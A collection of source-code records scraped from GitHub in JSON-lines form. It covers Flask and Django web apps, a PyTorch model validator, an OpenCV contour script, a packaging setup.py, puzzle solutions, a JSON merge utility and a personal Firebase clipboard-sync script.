{'id':facid})\n\t\t\tget_one=cur.fetchone()\n\t\t\tif get_one is None:\n\t\t\t\tcur = conn.cursor()\n\t\t\t\tcur.execute('REPLACE INTO jsonfac VALUES (?,?)', (facid, reports))\n\t\t\t\tconn.commit()\nconn.close()\nprint('Write successful, DB Closed.')\n","repo_name":"RorschachRev/foodbot","sub_path":"goodbots/food_IL_Tazewell.py","file_name":"food_IL_Tazewell.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37311909923","text":"from flask import Flask, request, render_template\nimport socket\n\napp = Flask(__name__)\ntitle = socket.gethostname()\n\n@app.route('/', methods=['GET'])\ndef index():\n\n if request.method == 'GET': \n # Return index with hostname values\n return render_template(\"index.html\", title=title)\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"k31th1904/aws_ecs","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43266418603","text":"import torch\nimport math\nimport numpy as np\n\nclass ValidatorAndTester:\n def __init__(self, my_data, gp_pp, gp_br, device, val_len = 50):\n self.gp_pp = gp_pp\n self.gp_br = gp_br\n self.my_data = my_data\n self.device=device\n self.num_of_objects = my_data.num_of_objects\n self.num_of_rel = my_data.num_of_rel\n\n self.val_len = val_len\n # Validation Data\n self.validate_states_pp = torch.zeros(\n len(my_data.val_indexes), val_len, self.num_of_objects, 8)\n self.validate_states_br = torch.zeros(\n len(my_data.val_indexes), 200, self.num_of_objects, 8)\n self.validate_states_br_lens = list()\n for ind, val_ind in enumerate(my_data.val_indexes):\n traj_len = my_data.obj_states[val_ind].shape[0]\n self.validate_states_br_lens.append(traj_len)\n self.validate_states_pp[ind, :val_len] = torch.from_numpy(\n my_data.obj_states[val_ind][:val_len]).float()\n self.validate_states_br[ind, :min(traj_len, 200)] = torch.from_numpy(\n my_data.obj_states[val_ind][:min(traj_len, 200)]).float()\n self.validate_shapes = torch.from_numpy(\n my_data.obj_shapes[my_data.val_indexes]).float()\n self.validate_rels = torch.from_numpy(\n my_data.edge_features[my_data.val_indexes]).float()\n\n # Test Data\n max_test_len = 0\n self.test_traj_lens = list()\n for test_ind in my_data.test_indexes:\n traj_len = my_data.obj_states[test_ind].shape[0]\n self.test_traj_lens.append(traj_len)\n if max_test_len < traj_len:\n max_test_len = traj_len\n self.max_test_len = max_test_len\n self.test_states = torch.zeros(\n len(my_data.test_indexes), max_test_len, self.num_of_objects, 8)\n for ind, test_ind in enumerate(my_data.test_indexes):\n traj_len = my_data.obj_states[test_ind].shape[0]\n self.test_states[ind, :traj_len] = torch.from_numpy(\n my_data.obj_states[test_ind][:traj_len]).float()\n self.test_states[ind, traj_len:, :,\n :3] = self.test_states[ind, traj_len-1, :, :3]\n self.test_shapes = torch.from_numpy(\n my_data.obj_shapes[my_data.test_indexes]).float()\n self.test_rels = torch.from_numpy(\n my_data.edge_features[my_data.test_indexes]).float()\n self.test_rels_no_joint = torch.stack(\n [self.test_rels] * 200, dim=1)\n self.test_rels_no_joint[:,:,:,:]=0\n self.test_rels_no_joint[:,:,:,0]=1\n\n\n\n def validate_pp(self):\n #\n to_be_pred = self.validate_states_pp.clone().to(self.device)\n to_be_pred[:, 1:, 1:, :] = 0\n x = dict()\n x['objects_shape'] = self.validate_shapes.to(self.device)\n x['relation_info'] = self.validate_rels.to(self.device)\n for timestep in range(1, self.val_len):\n x['objects_state'] = to_be_pred[:, timestep-1, :, :] \n to_be_pred[:, timestep, 1:, :6] = self.gp_pp(x)\n to_be_pred_cpu = to_be_pred.cpu()\n del to_be_pred, x\n return to_be_pred_cpu\n \n def validate_br(self):\n #\n\n x = dict()\n x['objects_state'] = self.validate_states_br.clone().to(self.device)\n x['objects_shape'] = torch.stack([self.validate_shapes]*200, dim=1).to(self.device)\n x['relation_info'] = torch.stack([self.validate_rels]*200, dim=1).to(self.device)\n ground_truth = dict()\n ground_truth['obj_to_predict'] = x['objects_shape'][:,\n :, :, 2:3].clone()\n ground_truth['rel_to_predict'] = x['relation_info'].clone()\n x['objects_shape'][:, :, :, 2] = 0.6\n x['relation_info'][:, :, :, :] = 0\n batch_size = 16\n # dividing it to batches to that it fits.\n to_be_pred = dict()\n to_be_pred['rel_to_predict'] = torch.zeros_like(x['relation_info'])\n to_be_pred['obj_to_predict'] = torch.zeros_like(\n x['objects_shape'][:, :, :, 2:3])\n number_of_batch = math.ceil(\n len(self.validate_states_br_lens)/batch_size)\n for i in range(number_of_batch):\n x_batch = dict()\n for key in ['objects_state', 'relation_info', 'objects_shape']:\n x_batch[key] = x[key][i*batch_size:(i+1) * batch_size]\n pred = self.gp_br(x_batch)\n for key in ['rel_to_predict', 'obj_to_predict']:\n to_be_pred[key][i * batch_size:(i+1)*batch_size] = pred[key]\n del pred, x_batch\n del x\n for ind, traj_len in enumerate(self.validate_states_br_lens):\n for key in ['rel_to_predict', 'obj_to_predict']:\n if traj_len < 200:\n to_be_pred[key][ind, traj_len -\n 1:] = to_be_pred[key][ind, traj_len-1]\n return to_be_pred, ground_truth\n\n def test_pp(self, number_of_timestep=None):\n if number_of_timestep == None:\n number_of_timestep = self.max_test_len\n to_be_pred = self.test_states.clone()[:,:number_of_timestep].to(self.device)\n to_be_pred[:, 1:, 1:, :] = 0\n x = dict()\n x['objects_shape'] = self.test_shapes.to(self.device)\n x['relation_info'] = self.test_rels.to(self.device)\n for timestep in range(1, number_of_timestep):\n x['objects_state'] = to_be_pred[:, timestep-1, :, :]\n to_be_pred[:, timestep, 1:, :6] = self.gp_pp(x)\n to_be_pred_cpu = to_be_pred.cpu()\n del to_be_pred, x\n return to_be_pred_cpu\n\n def test_br(self, batch_size=16, test_len=200):\n x = dict()\n x['objects_state'] = self.test_states.clone()[:, :test_len].to(self.device)\n x['objects_shape'] = torch.stack(\n [self.test_shapes] * test_len, dim=1).to(self.device)\n x['relation_info'] = torch.stack(\n [self.test_rels] * test_len, dim=1).to(self.device)\n ground_truth = dict()\n ground_truth['obj_to_predict'] = x['objects_shape'][:,\n :, :, 2:3].clone()\n ground_truth['rel_to_predict'] = x['relation_info'].clone()\n x['objects_shape'][:, :, :, 2] = 0.6\n x['relation_info'][:, :, :, :] = 0\n # dividing it to batches to that it fits.\n to_be_pred = dict()\n to_be_pred['rel_to_predict'] = torch.zeros_like(x['relation_info'])\n to_be_pred['obj_to_predict'] = torch.zeros_like(\n x['objects_shape'][:, :, :, 2:3])\n number_of_batch = math.ceil(\n len(self.test_traj_lens)/batch_size)\n for i in range(number_of_batch):\n x_batch = dict()\n for key in ['objects_state', 'relation_info', 'objects_shape']:\n x_batch[key] = x[key][i*batch_size:(i+1) * batch_size]\n pred = self.gp_br(x_batch)\n for key in ['rel_to_predict', 'obj_to_predict']:\n to_be_pred[key][i * batch_size:(i+1)*batch_size] = pred[key]\n del x\n for ind, traj_len in enumerate(self.test_traj_lens):\n for key in ['rel_to_predict', 'obj_to_predict']:\n to_be_pred[key][ind, min(traj_len - 1, test_len - 1):] = to_be_pred[key][ind, min(test_len - 1, traj_len - 1)]\n return to_be_pred, ground_truth\n","repo_name":"Fzaero/Object-and-Relation-Centric-Representations-for-Push-Effect-Prediction","sub_path":"src/articulated_multi_object/val_and_test.py","file_name":"val_and_test.py","file_ext":"py","file_size_in_byte":7400,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"8069460424","text":"import re\n\n\ndef read_input_chunks(file_name):\n with open(file_name) as in_file:\n for line in in_file:\n yield line\n\n\ndef day21():\n all_foods = set()\n allergies = set()\n\n input = list(read_input_chunks(\"day21.txt\"))\n for line in input:\n # <this chunk should be in a function but im lazy :) >\n f = re.split(\"(?: \\\\(contains.*| )\", line)\n all_foods.update([i.strip() for i in list(filter(lambda x: x != \"\" and x != \"\\n\", f))])\n a = re.split(\"(?:.*\\\\(contains|, |\\\\))\", line)\n allergies.update([i.strip() for i in list(filter(lambda x: x != \"\" and x != \"\\n\", a))])\n # <\\this chunk should be in a function but im lazy :) >\n all_allergies = {}\n for allergy in allergies:\n all_allergies[allergy] = list(all_foods)\n\n for line in input:\n f = re.split(\"(?: \\\\(contains.*| )\", line)\n foods = [i.strip() for i in list(filter(lambda x: x != \"\" and x != \"\\n\", f))]\n a = re.split(\"(?:.*\\\\(contains|, |\\\\))\", line)\n allergies = [i.strip() for i in list(filter(lambda x: x != \"\" and x != \"\\n\", a))]\n\n # 1 if the alergy is in a line without a certain food it cant be in that food\n # 2 maybe make for each allergy all the foods and for each line its in remove all the foods not in that lne\n for allergy in allergies:\n all_allergies[allergy] = list(filter(lambda food: food in all_allergies[allergy], foods))\n\n # for each range the only has one option remove that option from all the other ranges\n keep_going = True\n while keep_going:\n keep_going = False\n for allergy in all_allergies:\n if len(all_allergies[allergy]) == 1:\n looking_for = all_allergies[allergy][0]\n for algy2 in all_allergies:\n if algy2 != allergy and looking_for in all_allergies[algy2]:\n all_allergies[algy2].remove(looking_for)\n if len(all_allergies[allergy]) > 1:\n keep_going = True\n print(all_allergies)\n\n count = 0\n all_allergies_lst = [x[0] for x in all_allergies.values()]\n\n for line in input:\n f = re.split(\"(?: \\\\(contains.*| )\", line)\n foods = [i.strip() for i in list(filter(lambda x: x != \"\" and x != \"\\n\", f))]\n for food in foods:\n if food not in all_allergies_lst:\n count += 1\n print(\"Part One:\", count)\n\n st = \"\"\n key_order = sorted(all_allergies.keys())\n for key in key_order:\n st += all_allergies[key][0] + \",\"\n print(st[:-1])\n\n\nday21()\n","repo_name":"AharonSambol/AdventOfCode","sub_path":"2020/PythonAnswers/day21.py","file_name":"day21.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"25154651104","text":"from os import path\nimport setuptools\nfrom shutil import copyfile\nfrom sys import platform\nimport os\n\n\nfrom wheel.bdist_wheel import bdist_wheel as _bdist_wheel\n\n\nclass bdist_wheel(_bdist_wheel):\n def finalize_options(self):\n _bdist_wheel.finalize_options(self)\n self.root_is_pure = False\n\ndirname = path.dirname(path.abspath(__file__))\n\nif platform == \"linux\" or platform == \"linux2\":\n lib_path = path.abspath(path.join(dirname, '../build/lib/libthundersvm.so'))\nelif platform == \"win32\":\n lib_path = path.abspath(path.join(dirname, '../build/bin/Debug/thundersvm.dll'))\nelif platform == \"darwin\":\n lib_path = path.abspath(path.join(dirname, '../build/lib/libthundersvm.dylib'))\nelse:\n raise EnvironmentError(\"OS not supported!\")\n\nif not path.exists(path.join(dirname, \"thundersvm\", path.basename(lib_path))):\n copyfile(lib_path, path.join(dirname, \"thundersvm\", path.basename(lib_path)))\n\nbuild_tag = os.environ.get('BUILD_TAG', '')\nsetuptools.setup(name=\"thundersvm\" + build_tag,\n version=\"0.3.4\",\n packages=[\"thundersvm\"],\n package_dir={\"python\": \"thundersvm\"},\n description=\"A Fast SVM Library on GPUs and CPUs\",\n long_description=\"The mission of ThunderSVM is to help users easily and efficiently apply SVMs to solve problems. ThunderSVM exploits GPUs and multi-core CPUs to achieve high efficiency\",\n long_description_content_type=\"text/plain\",\n url=\"https://github.com/Xtra-Computing/thundersvm\",\n package_data={\"thundersvm\": [path.basename(lib_path)]},\n setup_requires=['wheel'],\n install_requires=['numpy', 'scipy', 'scikit-learn'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n ],\n python_requires=\">=3\",\n cmdclass={'bdist_wheel': bdist_wheel},\n )\n","repo_name":"Xtra-Computing/thundersvm","sub_path":"python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":1509,"dataset":"github-code","pt":"5"} +{"seq_id":"40078561287","text":"############ Seyhan Van Khan\n############ Linkedin Pod Sorter\n############ description\n############ December 2020 - January 2021\n# get requests are limited by 100? do batch instead\n################################ IMPORT MODULES ################################\n\n\nfrom flask import Flask, render_template, redirect, request, url_for\n\nfrom airtables import Airtable\nfrom constants import DEBUG_MODE\nfrom datetimes import *\nfrom emails import sendSignupEmail\nfrom hashing import hashID, unhashID\n\n\n################################### INIT APP ###################################\n\n\napp = Flask(__name__)\n\n\n##################################### INDEX ####################################\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/sandbox', methods=['GET', 'POST'])\ndef index():\n\tif request.method == 'GET':\n\t\treturn render_template(\n\t\t\t'index.html',\n\t\t\tformAction=request.path,\n\t\t\ttimezones=getAllTimezones()\n\t\t)\n\telse: # POST\n\t\tairtable = Airtable(\"Participants\")\n\t\tif airtable.match('Email', request.form[\"email\"]) or airtable.match('LinkedIn Profile', request.form[\"linkedinProfile\"]):\n\t\t\treturn render_template(\n\t\t\t\t'index.html',\n\t\t\t\tformAction=request.path,\n\t\t\t\ttimezones=getAllTimezones(),\n\t\t\t\tuserAlreadySignedUp='True'\n\t\t\t)\n\t\tnewRow = airtable.insert({\n\t\t\t\"Name\": request.form[\"name\"],\n\t\t\t\"Email\": request.form[\"email\"],\n\t\t\t\"LinkedIn Profile\": request.form[\"linkedinProfile\"],\n\t\t\t\"Time Zone\": request.form[\"timezone\"],\n\t\t\t\"Group\": \"Sandbox\" if \"sandbox\" in request.path.lower() else \"GTeX\"\n\t\t})\n\t\terrorOccured = sendSignupEmail(\n\t\t\tto=newRow['fields'][\"Email\"],\n\t\t\tname=newRow['fields']['Name'],\n\t\t\tgroup=newRow['fields']['Group'],\n\t\t\tID=newRow['fields']['ID'],\n\t\t\tweekToCommitTo=getWeekToCommitToRange()\n\t\t)\n\t\tif errorOccured == \"ERROR\":\n\t\t\tpass\n\t\treturn redirect('/signup-confirmation')\n\n\n############################## SIGNUP CONFIRMATION #############################\n\n\n@app.route('/signup-confirmation')\ndef signup_confirmation():\n\treturn render_template(\n\t\t'confirmation.html',\n\t\ttitleAboveSVG=\"Thanks for signing up!\",\n\t\tsvg=\"checkmark\",\n\t\ttitleBelowSVG=\"You will receive a confirmation email in a few minutes.\"\n\t)\n\n\n#################################### TOPUP #####################################\n\n\n@app.route('/topup', methods=['GET','POST'])\n@app.route('/commit', methods=['GET','POST'])\ndef topup():\n\t# check if user is a parameter in URL and the hash is valid\n\tif not('user' in request.args and unhashID(request.args['user']) >= 0):\n\t\treturn render_template(\n\t\t\t\"confirmation.html\",\n\t\t\ttitleAboveSVG=\"Invalid URL\",\n\t\t\tsvg=\"file-alert\",\n\t\t\ttitleBelowSVG=\"Did you use the link we emailed you?\"\n\t\t)\n\tairtable = Airtable(\"Participants\")\n\t# check if ID is in database\n\tif not airtable.match('ID', unhashID(request.args['user'])):\n\t\treturn render_template(\n\t\t\t\"confirmation.html\",\n\t\t\ttitleAboveSVG=\"Member not found\",\n\t\t\tsvg=\"file-alert\",\n\t\t\ttitleBelowSVG=\"Did you use the link we emailed you?\"\n\t\t)\n\n\tif request.method == \"GET\":\n\t\treturn render_template(\n\t\t\t\"topup.html\",\n\t\t\tuserHash=request.args['user'],\n\t\t\tnextWeekRange=getWeekToCommitToRange(),\n\t\t\tdayOptions=getCommitDayOptions()\n\t\t)\n\telse: # POST\n\t\tairtable.update_by_field(\n\t\t\t\"ID\",\n\t\t\tunhashID(request.args['user']),\n\t\t\t{\"Day Preference\": list(dict(request.form).keys())}\n\t\t)\n\t\treturn redirect('/commit-confirmation')\n\n\n############################## TOPUP CONFIRMATION ##############################\n\n\n@app.route('/commit-confirmation')\ndef commit_confirmation():\n\treturn render_template(\n\t\t'confirmation.html',\n\t\ttitleAboveSVG=\"You're all set for this week!\",\n\t\tsvg=\"checkmark\",\n\t\ttitleBelowSVG=\"You can close this tab.\"\n\t)\n\n\n################################### FEEDBACK ###################################\n\n\n@app.route('/feedback', methods=['GET', 'POST'])\ndef feedback():\n\t# check if user is a parameter in URL and the hash is valid\n\tif not('user' in request.args and unhashID(request.args['user']) >= 0):\n\t\treturn render_template(\n\t\t\t\"confirmation.html\",\n\t\t\ttitleAboveSVG=\"Invalid URL\",\n\t\t\tsvg=\"file-alert\",\n\t\t\ttitleBelowSVG=\"Did you use the link we emailed you?\"\n\t\t)\n\tairtableParticipants = Airtable(\"Participants\")\n\t# get dict of participants\n\tparticipants = {\n\t\trecord['fields']['ID'] : record['fields'] for record in airtableParticipants.get_all()\n\t}\n\t# check if ID is in database\n\tif unhashID(request.args['user']) not in participants:\n\t\treturn render_template(\n\t\t\t\"confirmation.html\",\n\t\t\ttitleAboveSVG=\"Member not found\",\n\t\t\tsvg=\"file-alert\",\n\t\t\ttitleBelowSVG=\"Did you use the link we emailed you?\"\n\t\t)\n\n\n\tif request.method == \"GET\":\n\t\t# get user's pairs\n\t\t# list them all with 3 buttons for each for feedback (all optional)\n\t\t# list all people that are assigned to them with 3 butons for feedback (all optional)\n\t\t# submit on airtable\n\t\tairtablePairs = Airtable('Emails')\n\t\t# get list of participants\n\t\t# make it include every row the id matches on Emails table\n\t\tuserPairs = airtablePairs.search(\"ID\", unhashID(request.args['user']))\n\t\tprofileIDs, profilesAssignedIDs = set(), set()\n\t\tfor row in userPairs:\n\t\t\tif \"Profiles\" in row[\"fields\"]:\n\t\t\t\tprofileIDs.update(row[\"fields\"][\"Profiles\"].split(\",\"))\n\t\t\tif \"Profiles Assigned\" in row[\"fields\"]:\n\t\t\t\tprofilesAssignedIDs.update(row[\"fields\"][\"Profiles Assigned\"].split(\",\"))\n\n\t\t# add ids to lists ONLY if it exists in participants table\n\t\tpeopleToCommentOn = \t\t[participants[int(id)] for id in profileIDs if int(id) in participants]\n\t\tpeopleThatWillComment = [participants[int(id)] for id in profilesAssignedIDs if int(id) in participants]\n\n\t\tif len(peopleToCommentOn) + len(peopleThatWillComment) == 0:\n\t\t\treturn render_template(\n\t\t\t\t'confirmation.html',\n\t\t\t\ttitleAboveSVG=\"No one to give feedback to this week\",\n\t\t\t\tsvg=\"file-alert\"\n\t\t\t)\n\t\telse:\n\t\t\treturn render_template(\n\t\t\t\t\"feedback.html\",\n\t\t\t\tpeopleToCommentOn=peopleToCommentOn,\n\t\t\t\tpeopleThatWillComment=peopleThatWillComment,\n\t\t\t\tuserHash=request.args['user']\n\t\t\t)\n\n\telse: # POST\n\t\trecordsToUpdate = {}\n\t\tfor feedback in dict(request.form).keys():\n\t\t\tid = \t\t\t\t\t\t\t\tint(feedback.split(\"-\")[1])\n\t\t\tfeedbackCategory = \tfeedback.split(\"-\")[0]\n\t\t\tfeedbackCount = \t\tparticipants[id][feedbackCategory] + 1\n\n\t\t\tif id in recordsToUpdate:\n\t\t\t\trecordsToUpdate[id][feedbackCategory] = feedbackCount\n\t\t\telse:\n\t\t\t\trecordsToUpdate[id] = {feedbackCategory: feedbackCount}\n\n\t\tairtableParticipants.batch_update_by_field(\"ID\", recordsToUpdate)\n\n\t\t# add raw data to 'Feedback' table on Airtable\n\t\tfeedbackDict = []\n\t\tfor id in recordsToUpdate:\n\t\t\tfeedbackDict.append({\n\t\t\t\t\"Name giving feedback\": participants[unhashID(request.args['user'])]['Name'],\n\t\t\t\t\"Name receiving feedback\": participants[id]['Name']\n\t\t\t})\n\t\t\tfor feedbackCategory in recordsToUpdate[id]:\n\t\t\t\tfeedbackDict[-1][feedbackCategory] = 1\n\n\t\tAirtable('Feedback').batch_insert(feedbackDict)\n\n\t\treturn redirect(\"/feedback-confirmation\")\n\n\n############################ FEEDBACK CONFIRMATION #############################\n\n\n@app.route('/feedback-confirmation')\ndef feedback_confirmation():\n\treturn render_template(\n\t\t'confirmation.html',\n\t\ttitleAboveSVG=\"Thanks for your feedback!\",\n\t\tsvg=\"checkmark\",\n\t\ttitleBelowSVG=\"You can close this tab.\"\n\t)\n\n\n################################# VIEW EMAILS ##################################\n\n\n# add commit email route\nif DEBUG_MODE:\n\t@app.route('/signup-email')\n\tdef viewSignupEmail():\n\t\tairtableParticipants = Airtable(\"Participants\")\n\t\tparticipants = {\n\t\t\trow['fields']['ID'] : row['fields'] for row in airtableParticipants.get_all(\n\t\t\t\tfields=[\n\t\t\t\t\t'ID','Name','Email','LinkedIn Profile','Day Preference','Time Zone','Group'\n\t\t\t\t]\n\t\t\t)\n\t\t}\n\t\treturn render_template(\n\t\t\t\"emails/signup.html\",\n\t\t\tname=\"Scott Spiderman\",\n\t\t\tgroup=\"Sandbox\",\n\t\t\tuserHash=hashID(114)\n\t\t)\n\n\n\t@app.route('/profiles-email')\n\tdef viewWeeklyEmail():\n\t\tairtableParticipants = Airtable(\"Participants\")\n\t\tparticipants = {\n\t\t\trow['fields']['ID'] : row['fields'] for row in airtableParticipants.get_all(\n\t\t\t\tfields=[\n\t\t\t\t\t'ID','Name','Email','LinkedIn Profile','Day Preference','Time Zone','Group'\n\t\t\t\t]\n\t\t\t)\n\t\t}\n\n\t\treturn render_template(\n\t\t\t\"emails/profiles.html\",\n\t\t\tname=\"Scott Spiderman\",\n\t\t\tuserHash=hashID(114),\n\t\t\tpeopleToCommentOn=[110,111,112],\n\t\t\tpeopleThatWillComment=[120,121,122],\n\t\t\tparticipants=participants,\n\t\t\tnextWeekRange=\"8 - 12 Jan\"\n\t\t)\n\n\n############################### GOOGLE DOCS TIPS ###############################\n\n\n@app.route('/tips')\ndef linkedinPodTips():\n\treturn redirect(\"https://docs.google.com/document/d/1JkJmkpSqJdwur7pFF14aTcT7senipRNj3b8lIK5ns8U/edit?usp=sharing\")\n\n\n################################# OTHER ROUTES #################################\n\n\n# @app.route('/<path:dummy>')\n# def fallback(dummy):\n# \treturn redirect(url_for('index'))\n\n\n#################################### APP RUN ###################################\n\n\nif __name__ == \"__main__\":\n\tapp.run(debug=DEBUG_MODE)\n","repo_name":"seyhankhan/linkedin-pod-sorter","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":8773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2081856674","text":"import cv2 as cv\r\nimport numpy as np\r\nimg=cv.imread('1.jpg')\r\n\r\n#create black screen to show contours on it\r\nblank=np.ones(img.shape,dtype='uint8')\r\n\r\ngray=cv.cvtColor(img,cv.COLOR_BGR2GRAY)\r\nedges=cv.Canny(img,125,175)\r\n\r\ncountours,hierarchies=cv.findContours(edges,cv.RETR_LIST,cv.CHAIN_APPROX_SIMPLE)\r\nprint(len(countours))\r\n#retr list returns all contours\r\n#retr external returns only external contours\r\n#retrtree returns all hierarchial contours\r\n#chain aprrox none return all coordinates\r\n#chain approx simple returns start and end cordinates\r\n#contours is a list containing start and end coordinates of contours\r\n\r\ncv.drawContours(blank,countours,-1,(0,0,255),1)\r\n#kispe draw karna hai, kya draw karna hai, kaha tak as in kitne whether saare or not, konsa colour and thickness of contour lines\r\n\r\nthresh,ret=cv.threshold(gray,125,255,cv.THRESH_BINARY) #always takes in gray img cuz threshold value 155 given in terms of grey intensity\r\ncv.imshow('contouring',blank)\r\ncv.waitKey(0)","repo_name":"nidhik5/Computer-Vision","sub_path":"contouring.py","file_name":"contouring.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14292977268","text":"from django.urls import path\nfrom .views import AccountListView, AccountDetailView, AccountCreateView, AccountUpdateView, AccountDeleteView, annualreport_view,RecordCreateView, RecordUpdateView, RecordDeleteView\nfrom bookkeeping.views import bookkeeping_view\n\napp_name= 'bookkeeping'\n\nurlpatterns = [\n path('', AccountListView.as_view(), name='account-list'),\n path('report/', annualreport_view, name='annual-report'),\n path('create/', AccountCreateView.as_view(), name='account-create'),\n path('<int:pk>/delete/', AccountDeleteView.as_view(), name='account-delete'),\n path('<int:pk>/', AccountDetailView.as_view(), name='account-detail'),\n path('<int:pk>/update/', AccountUpdateView.as_view(), name='account-create'),\n path('<int:pk>/rec-create/', RecordCreateView.as_view(), name='record-create'),\n path('<int:pk>-rec/rec-update/', RecordUpdateView.as_view(), name='record-create'),\n path('<int:pk>-rec/rec-delete/', RecordDeleteView.as_view(), name='record-delete')\n]","repo_name":"McDiamund/Accuracy","sub_path":"bookkeeping/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"38030290466","text":"from Utilities.config import app,db\nfrom Models.users import *\nfrom flask import request\n\n@app.route('/RegisterUser',methods=['POST'])\ndef RegisterUser():\n data=request.json\n result=addUser(data)\n \n return result\n\nif __name__ == \"__main__\":\n app.run(port=5001, debug=True)\n","repo_name":"deepak678/IOT_App_Backend","sub_path":"controller/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25784412477","text":"def traverse_TCP_states(events):\n state = \"CLOSED\" # initial state, always\n AUTOM = {(\"CLOSED\",\"APP_PASSIVE_OPEN\"):\"LISTEN\",\n (\"CLOSED\",\"APP_ACTIVE_OPEN\"):\"SYN_SENT\",\n (\"LISTEN\",\"RCV_SYN\"):\"SYN_RCVD\",\n (\"LISTEN\",\"APP_SEND\"):\"SYN_SENT\",\n (\"LISTEN\",\"APP_CLOSE\"):\"CLOSED\",\n (\"SYN_RCVD\",\"APP_CLOSE\"):\"FIN_WAIT_1\",\n (\"SYN_RCVD\",\"RCV_ACK\"):\"ESTABLISHED\",\n (\"SYN_SENT\",\"RCV_SYN\"):\"SYN_RCVD\",\n (\"SYN_SENT\",\"RCV_SYN_ACK\"):\"ESTABLISHED\",\n (\"SYN_SENT\",\"APP_CLOSE\"):\"CLOSED\",\n (\"ESTABLISHED\",\"APP_CLOSE\"):\"FIN_WAIT_1\",\n (\"ESTABLISHED\",\"RCV_FIN\"):\"CLOSE_WAIT\",\n (\"FIN_WAIT_1\",\"RCV_FIN\"):\"CLOSING\",\n (\"FIN_WAIT_1\",\"RCV_FIN_ACK\"):\"TIME_WAIT\",\n (\"FIN_WAIT_1\",\"RCV_ACK\"):\"FIN_WAIT_2\",\n (\"CLOSING\",\"RCV_ACK\"):\"TIME_WAIT\",\n (\"FIN_WAIT_2\",\"RCV_FIN\"):\"TIME_WAIT\",\n (\"TIME_WAIT\",\"APP_TIMEOUT\"):\"CLOSED\",\n (\"CLOSE_WAIT\",\"APP_CLOSE\"):\"LAST_ACK\",\n (\"LAST_ACK\",\"RCV_ACK\"):\"CLOSED\"}\n for event in events:\n if (state,event) in AUTOM:\n state = AUTOM[state,event]\n else:\n return \"ERROR\"\n return state","repo_name":"JiayangWu/codewars-solutions-in-python","sub_path":"036-4kyu-A Simplistic TCP Finite State Machine (FSM).py","file_name":"036-4kyu-A Simplistic TCP Finite State Machine (FSM).py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"5"} +{"seq_id":"18806692457","text":"####################################################################\n#### Merge individual JSON line strings into a single JSON line ####\n####################################################################\n\nimport json\nimport os\n\nleaf_dir=\"review_export\"\nfolder_path = \"/nail/tmp/ankur_new1/review_export\"\nfiles = []\nfor filename in os.listdir(folder_path):\n if os.path.isfile(os.path.join(folder_path, filename)):\n files.append(filename)\n\nfor file_name in files:\n if file_name not in ['.DS_Store']:\n print(f\"opening file: {file_name}\")\n with open(f'{file_name}', 'r') as file:\n with open(f'{folder_path}/{file_name}', 'w') as file_merged:\n merged_object = {}\n # line_count=0\n for line in file:\n try:\n json_object = json.loads(line.strip())\n merged_object.update(json_object)\n except json.JSONDecodeError as e:\n print(f'Error: {e}')\n try:\n file_merged.write(json.dumps(merged_object))\n print(f\"wrote to file: {folder_path}/{file_name}_merged\")\n except Exception as e:\n print(f\"Exception: {e}\")\n\n\n","repo_name":"ankur93/python","sub_path":"merge_json_strings.py","file_name":"merge_json_strings.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3817103137","text":"import os\nimport time\n\nimport firebase_admin\nimport pyperclip as clip\nfrom firebase_admin import credentials\nfrom firebase_admin import db\n\nfull_path = os.path.realpath(__file__)\npath, filename = os.path.split(full_path)\ncred = credentials.Certificate('credentials.json')\napp = firebase_admin.initialize_app(cred, {\n 'databaseURL': 'https://shared-clipboard-lior.firebaseio.com'\n})\ncb_ref_main = db.reference('user/clipboard')\n###end of setup\ndef clipboard_change(event):\n if event.data is not None:\n clip.copy(event.data)\n current_data = event.data\n\n\ncb_ref_main.listen(clipboard_change)\nprint(\"Connected to the shared clipboard\")\ncurrent_data = cb_ref_main.get()\nif current_data is not None:\n clip.copy(current_data)\n# update if this machine's clipboard is different than what's in the\n# firebase reference(if this machine copied something)\nwhile True:\n this_clip_data = clip.paste()\n if this_clip_data != current_data:\n current_data = this_clip_data\n cb_ref_main.set(this_clip_data)\n time.sleep(1)\n","repo_name":"LiorBitton/startup-scripts","sub_path":"PrivateSharedClipboard.py","file_name":"PrivateSharedClipboard.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"3432914745","text":"\"\"\"Koota's planned Android device, never implemented.\n\"\"\"\n\nfrom ..devices import BaseDevice, register_device\n\n@register_device(default=False, alias='Android')\nclass Android(BaseDevice):\n converters = BaseDevice.converters + [\n ]\n @classmethod\n def configure(cls, device):\n \"\"\"Special options for configuration\n \"\"\"\n return 